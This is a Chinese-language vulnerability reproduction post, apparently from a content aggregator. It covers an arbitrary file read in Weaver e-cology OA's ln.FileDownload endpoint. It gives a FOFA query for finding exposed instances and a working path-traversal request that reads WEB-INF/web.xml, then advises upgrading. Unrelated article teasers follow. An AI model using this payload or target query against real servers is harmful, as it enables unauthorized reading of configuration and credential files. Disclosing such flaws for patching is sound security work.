【漏洞复现】泛微OA E-Cology ln.FileDownload 任意文件读取漏洞

news2024/11/26 11:31:36

免责声明：

        本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。

产品简介

        泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公解决方案。e-cology平台提供了一系列协同办公工具，包括在线办公应用、文档管理、任务管理、日程安排、电子邮件和即时通讯等。

漏洞描述

        泛微OA ln.FileDownload 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器任意文件。

网络空间会测

Fofa

app="泛微-OA（e-cology）"

在这里插入图片描述

漏洞复现

/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml

image.png

修复建议

升级产品到最新版本



本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1833690.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Debian12的#!bash #!/bin/bash #!/bin/env bash #!/usr/bin/bash #!/usr/bin/env bash

Debian12的#!bash #!/bin/bash #!/bin/env bash #!/usr/bin/bash #!/usr/bin/env bash

bash脚本开头可写成 #!/bin/bash , #!/bin/env bash , #!/usr/bin/bash , #!/usr/bin/env bash #!/bin/bash , #!/usr/bin/bash#!/bin/env bash , #!/usr/bin/env bash Debian12的 /bin 是 /usr/bin 的软链接, /sbin 是 /usr/sbin 的软链接, (Debian12默认没有ll命令,用的ls …
阅读更多...
网络安全：数据库安全性

网络安全：数据库安全性

文章目录 网络安全：数据库安全性引言数据库安全性的重要性常见的数据库安全威胁数据库安全性的最佳实践数据加密访问控制审计和监控 结语 网络安全：数据库安全性 引言 在前两篇文章中，我们讨论了SQL注入的概念和防范措施。本篇文章将聚焦于…
阅读更多...
5216万！国内自动化巨头，拟剥离旗下子业务

5216万！国内自动化巨头，拟剥离旗下子业务

导语 大家好，我是社长，老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》 近日，中控技术发布公告称，为进一步优化资产结构和产业布局，提升公司核心竞争力，公司拟将其全资子…
阅读更多...
Python | Leetcode Python题解之第162题寻找峰值

Python | Leetcode Python题解之第162题寻找峰值

题目： 题解： class Solution:def findPeakElement(self, nums: List[int]) -> int:n len(nums)# 辅助函数，输入下标 i，返回 nums[i] 的值# 方便处理 nums[-1] 以及 nums[n] 的边界情况def get(i: int) -> int:if i -1 or…
阅读更多...
canvas实现画布拖拽效果 适配Uniapp和Vue (开箱即用)

canvas实现画布拖拽效果 适配Uniapp和Vue (开箱即用)

需求:我司是做AIGC项目最近和地铁项目有关需要实现海报效果图，并且需要使用画布拖拽和修改上传删除等等功能 当时连续加班花了10个工作日搓出来 实现挺简单的但是Canvas数据处理还是挺麻烦的 大概功能如图下 首先我们需要引入Fabric.js 这个库封装好了原生的Canva…
阅读更多...
如何实现element表格合并行？

如何实现element表格合并行？

前两天我一个朋友咨询我element表格合并行的问题，他研究了很久，已经开始怀疑是不是element UI出现了bug，然后跟我一阵沟通，最终解决了问题，他的问题在于他把事情想复杂了，接下来我们一起来看一下这个经典“案例”，很多人真的很有可能走入这个误区，当然老鸟就不用看了，…
阅读更多...
Pyqt QCustomPlot 简介、安装与实用代码示例（二）

Pyqt QCustomPlot 简介、安装与实用代码示例（二）

目录 前言实用代码示例彩色图演示散点像素图演示实时数据演示多轴演示对数轴演示 结语 所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nixgnauhcuy’s blog！ 如需转载，请标明出处！ 完整代码我已经上传到…
阅读更多...
【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 内存访问热度分析(100分) - 三语言AC题解(Python/Java/Cpp)

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 内存访问热度分析(100分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ，一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 ｜ 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 &#x1f…
阅读更多...
《EDA技术》十六选一数据选择器实验报告

《EDA技术》十六选一数据选择器实验报告

摘 要： 本实验通过Quartus软件完成对十六选一数据选择器的四种VHDL程序，分别为if;case;when else;when select四种方式，实现波形图的生成。同时，加深对VHDL语言的理解和使用多种方式完成任务的能力，提高实验操作能力。…
阅读更多...
[WTL/Win32]_[中级]_[MVP架构在实际项目中应用的地方]

[WTL/Win32]_[中级]_[MVP架构在实际项目中应用的地方]

场景 在开发Windows和macOS的界面软件时，Windows用的是WTL/Win32技术，而macOS用的是Cocoa技术。而两种技术的本地语言一个主打是C,另一个却是Object-c。界面软件的源码随着项目功能增多而增多，这就会给同步Windows和macOS的功能造成很大负担…
阅读更多...
vue:对三种获取更新后的dom的方式进行分析

vue:对三种获取更新后的dom的方式进行分析

一、问题分析 由于vue的异步更新机制，我们在同步代码中是无法获取到更新后的dom的信息的 针对这个问题，我们有三种解决方案获取更新后的dom: 1.nextTick() 2.setTimeout() 3.在微任务中获取 因为更新是在同步任务结束后，执行微任务之前…
阅读更多...
Java项目常用包的分层和作用

Java项目常用包的分层和作用

一个好的Java项目要有好的分层，不仅简洁明了，而且降低代码的耦合度，方便维护和升级。 web层 在Java Web应用程序中，Web层通常指的是处理HTTP请求和响应的层次，它直接与客户端（通常是Web浏览器&#xff09…
阅读更多...
【idea】gradle多模块构建项目内存溢出终止问题解决

【idea】gradle多模块构建项目内存溢出终止问题解决

背景 idea构建多模块项目，构建报错 Daemon is stopping immediately JVM garbage collector thrashing and after running out of JVM memory 解决 进到下图目录下 在文件管理中进入上面目录添加gradle.properties文件，内容如下 org.gradle.jvmargs-…
阅读更多...
学校校园考场电子钟，同步授时，助力考场公平公正-讯鹏科技

学校校园考场电子钟，同步授时，助力考场公平公正-讯鹏科技

随着教育技术的不断发展，学校对于考场管理的需求也日益提高。传统的考场时钟往往存在时间误差、维护不便等问题，这在一定程度上影响了考试的公平性和公正性。为了解决这些问题，越来越多的学校开始引入考场电子钟，通过同步授时技术…
阅读更多...
【深度学习】GPT-2，Language Models are Unsupervised Multitask Learners，【语言建模】

【深度学习】GPT-2，Language Models are Unsupervised Multitask Learners，【语言建模】

论文：https://d4mucfpksywv.cloudfront.net/better-language-models/language_models_are_unsupervised_multitask_learners.pdf 文章目录 摘要引言方法2.1 训练数据集2.2 输入表示2.3 模型3. 实验3.1 语言建模3.2 Children’s Book Test3.3 LAMBADA3.4 Winograd Sc…
阅读更多...
兼容MacOS和FreeBSD软件包的开源ravynOS操作系统

兼容MacOS和FreeBSD软件包的开源ravynOS操作系统

ravynOS 是一个新型的操作系统项目，致力于在 x86-64（终极目标是同时实现 ARM）平台上提供与 macOS 类似的体验和兼容性。它基于坚若磐石的 FreeBSD、现有的开源代码和锦上添花的新代码构建。 主要设计目标： 与 macOS 应用程序的源…
阅读更多...
python基础语法 002 - 4 字符串

python基础语法 002 - 4 字符串

1 字符串 字符串：引号括起来的数据类型 # 双引号 a "yuze wang"# 单引号 a ’yuze wang‘# 三引号 a ’‘’yuze‘‘’ a """yuze"""注意：所有格式表示都是半角，全角会报错 1.1 引号表示 …
阅读更多...
C++及cmake语法介绍

C++及cmake语法介绍

c/cmake学习 文章目录 c/cmake学习1. c1.1 基本模型1.1.1 for循环1.1.2 main函数1.1.2 带参数函数编译函数 2. CMAKE2.1 相关命令2.1.1 编译基本命令2.1.2 动态库静态库编译2.1.3 消息输出2.1.4 cmake变量常见参数1. 设置构建类型2. 设置编译器标志3. 指定编译器4. 设置安装路径…
阅读更多...
【PB案例学习笔记】-22制作一个语音朗读金额小应用

【PB案例学习笔记】-22制作一个语音朗读金额小应用

写在前面 这是PB案例学习笔记系列文章的第22篇，该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习，提高编程技巧，以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码，小凡都上传到了gite…
阅读更多...
计算机网络：3数据链路层

计算机网络：3数据链路层

数据链路层 概述封装成帧和透明传输帧透明传输（填充字节或比特）差错检测奇偶校验循环冗余校验CRC Cyclic Redundancy Check 可靠传输停止-等待协议回退n帧协议（滑动窗口协议）选择重传协议 点对点协议PPP共享式以太网网络适配器&am…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023